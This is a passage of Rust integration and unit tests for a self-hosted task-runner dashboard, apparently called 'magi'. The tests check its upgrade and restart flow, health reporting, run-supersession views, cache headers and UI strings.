9970 !update_recheck_due(&checker, Some(&progress)),
9971 "a recheck must not run while an upgrade this deck started is \
9972 still moving"
9973 );
9974 }
9975
9976 #[tokio::test]
9977 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9978 unsafe {
9990 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9991 }
9992 let fx = Fixture::start().await;
9993 let res = fx.post("/api/upgrade", None).await;
9994 unsafe {
9995 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9996 }
9997 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9998 let body = res.json();
9999 assert!(body["to"].is_null(), "there was no release to move to");
10000 assert!(body["parked"].is_null(), "and nothing was parked");
10001 assert!(
10002 body["detail"]
10003 .as_str()
10004 .unwrap()
10005 .contains("disabled by MAGI_NO_AUTOUPDATE"),
10006 "{body:?}"
10007 );
10008 }
10009
10010 #[tokio::test]
10011 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10012 let repo = TempDir::new().expect("repo dir");
10028 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10029 .expect("write magi.toml");
10030 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10031
10032 let res = fx.post("/api/upgrade", None).await;
10038 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10039 let body = res.json();
10040 assert!(body["to"].is_null(), "there was no release to move to");
10041 assert!(body["parked"].is_null(), "and nothing was parked");
10042 assert!(
10043 body["detail"]
10044 .as_str()
10045 .unwrap()
10046 .contains("nothing restarted"),
10047 "{body:?}"
10048 );
10049 }
10050
10051 #[tokio::test]
10052 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
10053 let repo = TempDir::new().expect("repo dir");
10058 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10059 .expect("write magi.toml");
10060 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10061
10062 let health = fx.get("/api/health").await.json();
10063 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
10064 assert_eq!(
10065 health["update"]["available"], false,
10066 "checking is off, which reads as \"unknown\", not \"none\""
10067 );
10068 assert!(health["update"]["to"].is_null());
10069 assert!(
10070 health["upgrade"].is_null(),
10071 "nothing has ever asked this deck to upgrade"
10072 );
10073 }
10074
10075 #[tokio::test]
10076 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10077 let fx = Fixture::start().await;
10078 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10079
10080 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10081 progress.parked_run = Some("20260905-000000-cd51".to_owned());
10082 progress.advance(crate::updater::Stage::Parking);
10083 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10084
10085 let health = fx.get("/api/health").await.json();
10086 assert_eq!(health["upgrade"]["stage"], "parking");
10087 assert_eq!(health["upgrade"]["from"], "0.5.1");
10088 assert_eq!(health["upgrade"]["to"], "0.5.2");
10089 let waiting_on = health["upgrade"]["waiting_on"]
10090 .as_str()
10091 .expect("waiting_on is set while parking a known run");
10092 assert!(waiting_on.contains("cd51"), "{waiting_on}");
10093 assert!(waiting_on.contains("implementing"), "{waiting_on}");
10094 }
10095
10096 #[tokio::test]
10097 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10098 let fx = Fixture::start().await;
10099 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10100 progress.advance(crate::updater::Stage::Done);
10101 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10102
10103 let health = fx.get("/api/health").await.json();
10104 assert_eq!(health["upgrade"]["stage"], "done");
10105 assert!(
10106 health["upgrade"]["waiting_on"].is_null(),
10107 "nothing to wait on once it is done"
10108 );
10109 }
10110
10111 #[tokio::test]
10112 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10113 let home = TempDir::new().expect("temp home");
10114 let runs = home.path().join("runs");
10115 std::fs::create_dir_all(&runs).expect("runs dir");
10116 let ui = Ui::new(
10117 Queue::at(home.path().join("queue")),
10118 Questions::at(home.path().join("questions")),
10119 Talks::at(home.path().join("talks")),
10120 runs,
10121 home.path().to_path_buf(),
10122 PathBuf::from("/repo/magi"),
10123 )
10124 .with_launch(launch_idle);
10125 let looping = ui.looping();
10126 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10127 .await
10128 .expect("bind loopback");
10129 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10130
10131 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10132 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10133
10134 hand_over(home.path(), &looping, served, || Ok(()))
10135 .await
10136 .expect("hand over");
10137
10138 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10139 assert_eq!(
10140 after.stage,
10141 crate::updater::Stage::Restarting,
10142 "hand_over owns the record through parking and up to restarting; \
10143 the successor is what finishes it"
10144 );
10145 }
10146
10147 #[test]
10148 fn the_upgrade_button_arms_before_it_restarts_anything() {
10149 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10152 assert!(APP_JS.contains("Replace the binary and restart?"));
10153 assert!(APP_JS.contains("function confirmed("));
10154 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10159 assert!(
10163 APP_JS.contains("Parking, then restarting"),
10164 "the button says what it is waiting for"
10165 );
10166 assert!(APP_JS.contains("if (!out.to)"));
10169 }
10170
10171 #[test]
10172 fn stopping_the_loop_arms_but_starting_does_not() {
10173 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10176 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10177 assert!(APP_JS.contains("confirmed(button, question)"));
10178 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10181 assert!(APP_JS.contains("const label = btn.textContent;"));
10182 assert!(!APP_JS.contains("Neither direction is guarded"));
10183 }
10184
10185 #[test]
10186 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10187 assert!(
10188 APP_JS.contains("state.health.version"),
10189 "the operator wants to know what is running even with nothing newer"
10190 );
10191 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10192 }
10193
10194 #[test]
10195 fn the_upgrade_button_names_its_destination() {
10196 assert!(
10197 APP_JS.contains("`Update to ${update.to}`"),
10198 "pressing the button should not be a surprise about what it moves to"
10199 );
10200 }
10201
10202 #[test]
10203 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10204 for stage in ["downloading", "replaced", "parking", "restarting"] {
10205 assert!(
10206 APP_JS.contains(&format!("\"{stage}\"")),
10207 "the phone must be able to tell {stage} apart from the others"
10208 );
10209 }
10210 assert!(APP_JS.contains(".waiting_on"));
10211 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10216 assert!(APP_JS.contains("reconnects on its own"));
10217 }
10218
10219 #[test]
10220 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10221 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10230 ..APP_JS.find("function upgrade(").expect("upgrade")];
10231 assert!(
10232 !body.contains(
10233 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10234 ),
10235 "a failed upgrade must not take the whole strip over the way it used to"
10236 );
10237 assert!(
10238 body.contains("upgradeFailNote"),
10239 "the failure has to reach the loop's own note instead"
10240 );
10241 assert_eq!(
10245 body.matches("upgradeFailNote].filter(Boolean).join")
10246 .count(),
10247 2,
10248 "both loop-why writers (quiet and control) must fold the note in"
10249 );
10250 }
10251
10252 #[test]
10253 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10254 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10257 assert!(APP_JS.contains("function upgradeOverdue("));
10258 }
10259
10260 #[test]
10261 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10262 assert!(
10263 APP_JS.contains("Updated to ${upgradeInfo.to"),
10264 "the operator who asked for the restart wants to know it worked"
10265 );
10266 }
10267
10268 #[test]
10269 fn an_error_is_visible_from_where_the_button_is() {
10270 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10275 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10276 assert!(
10277 alert.contains("position: fixed"),
10278 "an error about the thing under your thumb has to be visible from \
10279 where your thumb is: {alert}"
10280 );
10281 assert!(
10282 alert.contains("z-index: 25"),
10283 "above the dock (20) and the run-actions FAB (15), so neither \
10284 buries it: {alert}"
10285 );
10286 assert!(
10287 alert.contains("var(--tap)"),
10288 "and clear of the dock and the home indicator: {alert}"
10289 );
10290 assert!(
10293 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10294 "the FAB's column stays free: {alert}"
10295 );
10296 }
10297
10298 #[tokio::test]
10299 async fn an_older_attempt_says_what_replaced_it() {
10300 let fx = Fixture::start().await;
10301 let q = fx.queue();
10302 let runs = fx.runs();
10303 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10304 write_run(&runs, first, RunStatus::Stalled);
10305 write_run(&runs, second, RunStatus::Blocked);
10306
10307 let mut t = Task::new(
10308 "one task".to_owned(),
10309 "do it".to_owned(),
10310 PathBuf::from("/repo"),
10311 Source::Human,
10312 );
10313 t.runs = vec![first.to_owned(), second.to_owned()];
10314 q.put(&mut t).expect("put");
10315
10316 let rows = fx.get("/api/runs").await.json();
10320 let by = |short: &str| -> Value {
10321 rows.as_array()
10322 .unwrap()
10323 .iter()
10324 .find(|r| r["short"] == short)
10325 .cloned()
10326 .unwrap_or(Value::Null)
10327 };
10328 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10329 assert!(
10330 by("bbbb")["superseded_by"].is_null(),
10331 "the latest attempt is not superseded by anything"
10332 );
10333 assert!(APP_JS.contains("run.superseded_by"));
10335 assert!(APP_JS.contains("Superseded by"));
10336 }
10337
10338 #[tokio::test]
10339 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10340 let fx = Fixture::start().await;
10345 let q = fx.queue();
10346 let runs = fx.runs();
10347 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10348 write_run(&runs, first, RunStatus::Blocked);
10349 write_run(&runs, second, RunStatus::Merged);
10350
10351 let mut t = Task::new(
10352 "one task".to_owned(),
10353 "do it".to_owned(),
10354 PathBuf::from("/repo"),
10355 Source::Human,
10356 );
10357 t.runs = vec![first.to_owned(), second.to_owned()];
10358 q.put(&mut t).expect("put");
10359
10360 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10361 assert_eq!(earlier["superseded_by"], "dddd");
10362 assert_eq!(earlier["latest_attempt"]["id"], second);
10363 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10364 assert_eq!(
10365 earlier["latest_attempt"]["resolved"], true,
10366 "the run that replaced it landed, so this one reads as settled"
10367 );
10368
10369 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10370 assert!(
10371 later["superseded_by"].is_null(),
10372 "the latest attempt is not superseded by anything"
10373 );
10374 assert!(
10375 later["latest_attempt"].is_null(),
10376 "the latest attempt has no later attempt of its own"
10377 );
10378
10379 assert!(APP_JS.contains("run.latest_attempt"));
10386 assert!(APP_JS.contains("data-superseded"));
10387 assert!(APP_JS.contains("#/runs/${latest.id}"));
10388 }
10389
10390 #[tokio::test]
10391 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10392 let fx = Fixture::start().await;
10398 let q = fx.queue();
10399 let runs = fx.runs();
10400 let (a, b, c) = (
10401 "20260901-000000-aaaa",
10402 "20260901-000000-bbbb",
10403 "20260901-000000-cccc",
10404 );
10405 write_run(&runs, a, RunStatus::Blocked);
10406 write_run(&runs, b, RunStatus::Blocked);
10407 write_run(&runs, c, RunStatus::Merged);
10408
10409 let mut t = Task::new(
10410 "retried twice".to_owned(),
10411 "do it".to_owned(),
10412 PathBuf::from("/repo"),
10413 Source::Human,
10414 );
10415 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10416 q.put(&mut t).expect("put");
10417
10418 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10419 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10420 assert_eq!(
10421 view["latest_attempt"]["id"], c,
10422 "the chain's current head, not the intermediate Blocked retry"
10423 );
10424 assert_eq!(view["latest_attempt"]["resolved"], true);
10425
10426 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10427 assert_eq!(mid["latest_attempt"]["id"], c);
10428 assert_eq!(mid["latest_attempt"]["resolved"], true);
10429 }
10430
10431 #[tokio::test]
10432 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10433 let fx = Fixture::start().await;
10434 let q = fx.queue();
10435 let runs = fx.runs();
10436
10437 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10440 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10441 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10442 let mut t1 = Task::new(
10443 "still stuck".to_owned(),
10444 "do it".to_owned(),
10445 PathBuf::from("/repo"),
10446 Source::Human,
10447 );
10448 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10449 q.put(&mut t1).expect("put");
10450 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10451 assert_eq!(view1["latest_attempt"]["resolved"], false);
10452
10453 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10458 write_run(&runs, noop_a, RunStatus::Blocked);
10459 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10460 let mut t2 = Task::new(
10461 "claims done".to_owned(),
10462 "do it".to_owned(),
10463 PathBuf::from("/repo"),
10464 Source::Human,
10465 );
10466 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10467 q.put(&mut t2).expect("put");
10468 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10469 assert_eq!(
10470 view2["latest_attempt"]["resolved"], false,
10471 "an unverified no-op claim must not read as a confirmed finish"
10472 );
10473
10474 assert!(APP_JS.contains("latest.resolved"));
10477 }
10478
10479 #[tokio::test]
10480 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10481 let fx = Fixture::start().await;
10482 let js = fx.get("/app.js").await;
10488 assert_eq!(js.status, 200);
10489 let tag = js
10490 .header("etag")
10491 .expect("an etag to revalidate against")
10492 .to_owned();
10493 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10494 assert_eq!(
10495 js.header("cache-control"),
10496 Some("no-cache, must-revalidate"),
10497 "the phone has to ask every time"
10498 );
10499
10500 let again = fx
10503 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10504 .await;
10505 assert_eq!(
10506 again.status, 304,
10507 "a deck it already has costs one round trip"
10508 );
10509 assert!(again.body.is_empty(), "304 carries no body");
10510
10511 let weak = fx
10514 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10515 .await;
10516 assert_eq!(weak.status, 304);
10517 let stale = fx
10518 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10519 .await;
10520 assert_eq!(stale.status, 200, "an older build must be replaced");
10521 assert!(stale.body.contains("renderRunActions"));
10522 }
10523
10524 #[test]
10525 fn the_deck_never_sends_the_operator_to_a_terminal() {
10526 assert!(
10529 !APP_JS.contains("Run `magi fold` first"),
10530 "the deck must offer the fold, not prescribe a shell command"
10531 );
10532 assert!(APP_JS.contains("foldRun:"));
10533 assert!(APP_JS.contains("resumeRun:"));
10534 assert!(APP_JS.contains("renderRunActions"));
10535
10536 assert!(APP_JS.contains("armedFold"));
10538 assert!(APP_JS.contains("Yes, fold worktrees"));
10539
10540 assert!(APP_JS.contains("can no longer be resumed"));
10543 }
10544
10545 #[test]
10546 fn a_finished_run_explains_itself_with_its_own_last_line() {
10547 assert!(
10553 !APP_JS.contains("collapsed on agent quota"),
10554 "a stall must not be explained by a cause the deck did not check"
10555 );
10556 assert!(
10557 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10558 "and a block must not offer a guess with an `or` in it"
10559 );
10560
10561 assert!(
10565 APP_JS.contains("setText(r.event, run.event || \"\")"),
10566 "the run's last line is rendered unconditionally"
10567 );
10568 assert!(
10569 !APP_JS.contains("moving && run.event"),
10570 "and never gated on the run still moving"
10571 );
10572
10573 assert!(APP_JS.contains("lost to quota"));
10575 }
10576
10577 #[test]
10599 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10600 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10601 let shapes_body_start =
10602 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10603 let shapes_close = APP_JS[shapes_body_start..]
10604 .find("].map(")
10605 .expect("the shape list is closed by its done-computing .map(...)")
10606 + shapes_body_start;
10607 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10608
10609 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10610 for entry in shapes_src.split('{').skip(1) {
10611 let waiting = entry.contains("waiting: true");
10612 let dead = entry.contains("live: \"dead\"");
10613 let status_at =
10614 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10615 let status_end = entry[status_at..]
10616 .find('"')
10617 .expect("the status string is closed")
10618 + status_at;
10619 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10620 }
10621 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10622
10623 let done_rule_marker = "done: !";
10627 let done_rule_at = APP_JS[shapes_close..]
10628 .find(done_rule_marker)
10629 .expect("the done rule follows the shape list")
10630 + shapes_close
10631 + done_rule_marker.len();
10632 let includes_at = APP_JS[done_rule_at..]
10633 .find(".includes(shape.status)")
10634 .expect("the done rule ends in .includes(shape.status)")
10635 + done_rule_at;
10636 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10637 .trim()
10638 .trim_start_matches('[')
10639 .trim_end_matches(']')
10640 .split(',')
10641 .map(|s| s.trim().trim_matches('"'))
10642 .filter(|s| !s.is_empty())
10643 .collect();
10644
10645 let shapes: Vec<(bool, String, bool, bool)> = shapes
10646 .into_iter()
10647 .map(|(waiting, status, dead)| {
10648 let done = !not_done.contains(&status.as_str());
10649 (waiting, status, dead, done)
10650 })
10651 .collect();
10652
10653 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10657 if waiting {
10658 return "waiting";
10659 }
10660 if dead
10661 && !matches!(
10662 status,
10663 "merged"
10664 | "ready"
10665 | "stalled"
10666 | "blocked"
10667 | "failed"
10668 | "verified_noop"
10669 | "superseded"
10670 )
10671 {
10672 return "stale";
10673 }
10674 match status {
10675 "merged" | "ready" => "landed",
10676 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10677 _ => "flight",
10678 }
10679 }
10680
10681 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10684 match filter_key {
10685 "active" => !done,
10686 "flight" => !done && !waiting && !dead,
10687 "stale" => !done && !waiting && dead,
10688 "waiting" => waiting,
10689 "done" => done,
10690 "all" => true,
10691 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10692 }
10693 }
10694
10695 let compatible = |section: &str, filter_key: &str| {
10696 shapes.iter().any(|(waiting, status, dead, done)| {
10697 run_section(*waiting, status, *dead) == section
10698 && filter_matches(filter_key, *waiting, *dead, *done)
10699 })
10700 };
10701
10702 let expected = [
10707 ("waiting", [true, false, false, true, true, true]),
10708 ("stale", [true, false, true, false, false, true]),
10709 ("flight", [true, true, false, false, false, true]),
10710 ("landed", [false, false, false, false, true, true]),
10711 ("ended", [false, false, false, false, true, true]),
10712 ];
10713 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10714
10715 for (section, wants) in expected {
10716 for (filter_key, want) in filter_keys.iter().zip(wants) {
10717 assert_eq!(
10718 compatible(section, filter_key),
10719 want,
10720 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10721 );
10722 }
10723 }
10724
10725 assert!(
10728 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10729 );
10730 assert!(APP_JS.contains(
10731 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10732 ));
10733 assert!(APP_JS.contains(
10734 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10735 ));
10736 }
10737
10738 #[tokio::test]
10739 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10740 let dir = tempfile::tempdir().expect("tempdir");
10744 let explicit = dir.path().join("not-a-checkout");
10745 std::fs::create_dir_all(&explicit).expect("create dir");
10746 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10747
10748 let missing = dir.path().join("does-not-exist-at-all");
10749 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10750 }
10751}